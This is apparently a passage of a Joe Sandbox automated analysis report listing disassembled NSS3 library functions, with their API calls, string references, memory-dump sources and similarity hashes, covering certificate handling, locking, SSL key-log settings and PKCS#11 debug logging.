PL_FinishArenaPool.NSS3(?), ref: 6CC2A148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC2A158
PL_FinishArenaPool.NSS3(?), ref: 6CC2A175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6CC2A1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6CC2A1B2
free.MOZGLUE(00000000), ref: 6CC2A1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6CC2A1D6

Part of subcall function 6CC455E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6CC1EAC5,00000001,?,6CC1CE9B,00000001,6CC1EAC5,00000003,-00000004,00000000,?,6CC1EAC5), ref: 6CC45627
Part of subcall function 6CC455E0: PR_CallOnce.NSS3(6CD62AA4,6CC612D0,?,?,?,?,?,?,?,?,?,?,6CC1EAC5,00000001,?,6CC1CE9B), ref: 6CC4564F
Part of subcall function 6CC455E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CC1EAC5,00000001), ref: 6CC45661
Part of subcall function 6CC455E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC1EAC5), ref: 6CC456AF

Strings

security, xrefs: 6CC2A00F

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: 3f8362e8cb6c469b2f5222d73115b0583c7f7d5d04394facb63e47414f833715
Instruction ID: 0f16123185d7ce7923e4fc842a7f3ac0cb4d29b5e046e4068971a1756702a4c3
Opcode Fuzzy Hash: 3f8362e8cb6c469b2f5222d73115b0583c7f7d5d04394facb63e47414f833715
Instruction Fuzzy Hash: 1A51D875E00209ABEB00DBA59D84BAEB378AF8571CF104124E906AAF51F779D509C792

Function 6CC46CD0 Relevance: 30.3, APIs: 20, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC46910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CC46943
Part of subcall function 6CC46910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CC46957
Part of subcall function 6CC46910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CC46972
Part of subcall function 6CC46910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CC46983
Part of subcall function 6CC46910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CC469AA
Part of subcall function 6CC46910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CC469BE
Part of subcall function 6CC46910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CC469D2
Part of subcall function 6CC46910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CC469DF
Part of subcall function 6CC46910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CC46A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CC46D8C
free.MOZGLUE(00000000), ref: 6CC46DC5
free.MOZGLUE(?), ref: 6CC46DD6
free.MOZGLUE(?), ref: 6CC46DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CC46E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CC46E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CC46E72
free.MOZGLUE(?), ref: 6CC46EA7
free.MOZGLUE(?), ref: 6CC46EC4
free.MOZGLUE(?), ref: 6CC46ED5
free.MOZGLUE(00000000), ref: 6CC46EE3
free.MOZGLUE(?), ref: 6CC46EF4
free.MOZGLUE(?), ref: 6CC46F08
free.MOZGLUE(00000000), ref: 6CC46F35
free.MOZGLUE(?), ref: 6CC46F44
free.MOZGLUE(?), ref: 6CC46F5B
free.MOZGLUE(00000000), ref: 6CC46F65

Part of subcall function 6CC46C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CC4781D,00000000,6CC3BE2C,?,6CC46B1D,?,?,?,?,00000000,00000000,6CC4781D), ref: 6CC46C40
Part of subcall function 6CC46C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CC4781D,?,6CC3BE2C,?), ref: 6CC46C58
Part of subcall function 6CC46C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CC4781D), ref: 6CC46C6F
Part of subcall function 6CC46C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CC46C84
Part of subcall function 6CC46C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CC46C96
Part of subcall function 6CC46C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CC46CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CC46F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CC46FC5
PK11_GetInternalKeySlot.NSS3 ref: 6CC46FF4

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID:
API String ID: 1304971872-0
Opcode ID: 09eedf5db2e9dc4d9b581b899dfdcabd03de3f90f8793c44ef83558d789a7b6f
Instruction ID: 5d062326f48539d85eb971f81d7f67f32bf6362420caebf4fe896db6e30a6daf
Opcode Fuzzy Hash: 09eedf5db2e9dc4d9b581b899dfdcabd03de3f90f8793c44ef83558d789a7b6f
Instruction Fuzzy Hash: C5B15FB4E01A199FEF00DBA5D884B9E7BF8AF09348F14C025E915E7A45F731E914CB61

Function 6CC44C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC44C4C
EnterCriticalSection.KERNEL32(?), ref: 6CC44C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CC44CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CC44CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CC44CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC44D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC44D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CC44DB7

Part of subcall function 6CCADD70: TlsGetValue.KERNEL32 ref: 6CCADD8C
Part of subcall function 6CCADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CCADDB4

Part of subcall function 6CBF07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB8204A), ref: 6CBF07AD
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB8204A), ref: 6CBF07CD
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB8204A), ref: 6CBF07D6
Part of subcall function 6CBF07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB8204A), ref: 6CBF07E4
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,6CB8204A), ref: 6CBF0864
Part of subcall function 6CBF07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBF0880
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB8204A), ref: 6CBF08CB
Part of subcall function 6CBF07A0: TlsGetValue.KERNEL32(?,?,6CB8204A), ref: 6CBF08D7
Part of subcall function 6CBF07A0: TlsGetValue.KERNEL32(?,?,6CB8204A), ref: 6CBF08FB

TlsGetValue.KERNEL32 ref: 6CC44DD7
EnterCriticalSection.KERNEL32(?), ref: 6CC44DEC
PR_Unlock.NSS3(?), ref: 6CC44E1B
PR_SetError.NSS3(00000000,00000000), ref: 6CC44E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC44E5A
PR_SetError.NSS3(00000000,00000000), ref: 6CC44E71
free.MOZGLUE(00000000), ref: 6CC44E7A
PR_Unlock.NSS3(?), ref: 6CC44EA2
TlsGetValue.KERNEL32 ref: 6CC44EC1
EnterCriticalSection.KERNEL32(?), ref: 6CC44ED6
PR_Unlock.NSS3(?), ref: 6CC44F01
free.MOZGLUE(00000000), ref: 6CC44F2A

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: b0d977ad690f7dae9887faab4c37540800105140aacdf1ef809b7206e8fe551d
Instruction ID: d75d3c6ed8b64baac82871227beddcc00e3cbc95e57044df80af86dfd85efdcb
Opcode Fuzzy Hash: b0d977ad690f7dae9887faab4c37540800105140aacdf1ef809b7206e8fe551d
Instruction Fuzzy Hash: 14B10475E002069FEB00DF69D884BAAB7B8BF09318F64C164ED1597B11FB30E955CBA1

Function 6CC4FFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC4FFB4

Part of subcall function 6CCC98D0: calloc.MOZGLUE(00000001,00000084,6CBF0936,00000001,?,6CBF102C), ref: 6CCC98E5

PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC4FFC6

Part of subcall function 6CCC98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CCC9946
Part of subcall function 6CCC98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB816B7,00000000), ref: 6CCC994E
Part of subcall function 6CCC98D0: free.MOZGLUE(00000000), ref: 6CCC995E

PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC4FFD6
PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC4FFE6
PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC4FFF6
PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC50006
PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC50016
PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC50026
PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC50036
PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC50046
PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC50056
PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC50066
PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC50076
PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC50086
PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC50096
PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC500A6
PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC500B6
PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC500C6
PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC500D6
PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC500E6

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: 7ccd2c7cb1ab4b5401be98a90659515fa69015d24145564cb242d08eb990c22d
Instruction ID: 4675f1f156f30f31e9e8b57dfe4f336c1a346f63c8ab1483212e6b27f9d5e224
Opcode Fuzzy Hash: 7ccd2c7cb1ab4b5401be98a90659515fa69015d24145564cb242d08eb990c22d
Instruction Fuzzy Hash: 613131F1F01619DEAB49DF27C58816A3ABCB736A4CF00416ED24487750E7B4224ACFB6

Function 6CC96E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CC96BF7), ref: 6CC96EB6

Part of subcall function 6CBF1240: TlsGetValue.KERNEL32(00000040,?,6CBF116C,NSPR_LOG_MODULES), ref: 6CBF1267
Part of subcall function 6CBF1240: EnterCriticalSection.KERNEL32(?,?,?,6CBF116C,NSPR_LOG_MODULES), ref: 6CBF127C
Part of subcall function 6CBF1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CBF116C,NSPR_LOG_MODULES), ref: 6CBF1291
Part of subcall function 6CBF1240: PR_Unlock.NSS3(?,?,?,?,6CBF116C,NSPR_LOG_MODULES), ref: 6CBF12A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CD3FC0A,6CC96BF7), ref: 6CC96ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CC96EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CC96EFC
PR_NewLock.NSS3 ref: 6CC96F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC96F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CC96BF7), ref: 6CC96F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CC96BF7), ref: 6CC96F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CC96BF7), ref: 6CC96FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CC96BF7), ref: 6CC96FFD

Strings

SSLKEYLOGFILE, xrefs: 6CC96EB1
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6CC96F4F
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CC96FDB
# SSL/TLS secrets log file, generated by NSS, xrefs: 6CC96EF7
NSS_SSL_CBC_RANDOM_IV, xrefs: 6CC96FF8
SSLFORCELOCKS, xrefs: 6CC96F2B

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 89559da27d92e3754d244a4853cfcd3a5eed95962d58115994a400e62c0117ab
Instruction ID: 11f4ac00a53a6dff42d0eb6ae59bb5005772204ca2ea436228dc773d2b07b1ee
Opcode Fuzzy Hash: 89559da27d92e3754d244a4853cfcd3a5eed95962d58115994a400e62c0117ab
Instruction Fuzzy Hash: 68A138B2A56C8087F710873ECC0136832A6BB83369F588365EA31C7ED5FB75A440D796

Function 6CC15DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC15DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6CC15E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6CC15E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6CC15E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6CC15EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6CC15ED9
SECKEY_SignatureLen.NSS3(?), ref: 6CC15F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6CC15F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CC15F89
free.MOZGLUE(?), ref: 6CC15FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC15FB6
free.MOZGLUE(00000000), ref: 6CC15FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CC1600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CC16079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC16084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC16094

Strings

, xrefs: 6CC15EEB

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: c5563ca32031e317153216aca869ee1f8066943060bb140089e8afe14224b06d
Instruction ID: d07c5215371dbbced7cc295878a9a38f0ff1be1d75d04c826f15bac74f0418d3
Opcode Fuzzy Hash: c5563ca32031e317153216aca869ee1f8066943060bb140089e8afe14224b06d
Instruction Fuzzy Hash: 1181F4B5E082059BEB00CF66CC80BAE77B5AF45318F144128E91AA7F91F735E814DBD2

Function 6CC36D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6CC36D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC36DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC36DC3

Part of subcall function 6CD1D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD1D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC36DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CC36DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CC36E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6CC36E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6CC36E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6CC36EB9

Strings

hSession = 0x%x, xrefs: 6CC36D9E, 6CC36DAE
pulDigestLen = 0x%p, xrefs: 6CC36E42
ulDataLen = %d, xrefs: 6CC36E0E
(CK_INVALID_HANDLE), xrefs: 6CC36DBC
C_Digest, xrefs: 6CC36D81
*pulDigestLen = 0x%x, xrefs: 6CC36EB4
pData = 0x%p, xrefs: 6CC36DF5
pDigest = 0x%p, xrefs: 6CC36E27

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: fea16157dbb63bef93dd89a313636c64df9e0ba91cfd28e9cb7d465ed842b1ad
Instruction ID: 8432399a730c3fbb6838645c0fef3fbed26149532b672abc7a70570248be6701
Opcode Fuzzy Hash: fea16157dbb63bef93dd89a313636c64df9e0ba91cfd28e9cb7d465ed842b1ad
Instruction Fuzzy Hash: A641E735601114AFEB01DF55EC48E9A3BB9BB4234CF084055F60D9BB61EB38A81CCBB1

Function 6CC39C40 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6CC39C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC39C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC39CA3

Part of subcall function 6CD1D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD1D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC39CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6CC39CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CC39CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CC39D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6CC39D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6CC39D42

Strings

C_LoginUser, xrefs: 6CC39C61
ulUsernameLen = %d, xrefs: 6CC39D3D
pPin = 0x%p, xrefs: 6CC39CF0
ulPinLen = %d, xrefs: 6CC39D0B
hSession = 0x%x, xrefs: 6CC39C7E, 6CC39C8E
pUsername = 0x%p, xrefs: 6CC39D24
(CK_INVALID_HANDLE), xrefs: 6CC39C9C
userType = 0x%x, xrefs: 6CC39CD5

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser
API String ID: 1003633598-3838449515
Opcode ID: ebc075afc18da4a7a289923b4d037f4b12d3383294a4380191746033f2c3a6cd
Instruction ID: 51d742bc9591c29f2ddf87415b1c41570bb016bff8044bddd2f54fdf1fc9ecd0
Opcode Fuzzy Hash: ebc075afc18da4a7a289923b4d037f4b12d3383294a4380191746033f2c3a6cd
Instruction Fuzzy Hash: FA41F531A01154AFFB01DF55FD49EAA3BB9AB4334DF484055F60D6BA21EB349818CBB1

Function 6CBF1FE0 Relevance: 28.8, APIs: 19, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6CBF2007
calloc.MOZGLUE(00000001,00000084), ref: 6CBF2077
calloc.MOZGLUE(00000001,0000002C), ref: 6CBF20DF
TlsSetValue.KERNEL32(00000000), ref: 6CBF2188
PR_NewCondVar.NSS3 ref: 6CBF21B7
calloc.MOZGLUE(00000001,00000084), ref: 6CBF221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CBF22C2
GetLastError.KERNEL32 ref: 6CBF22CD
free.MOZGLUE(00000000), ref: 6CBF22DD

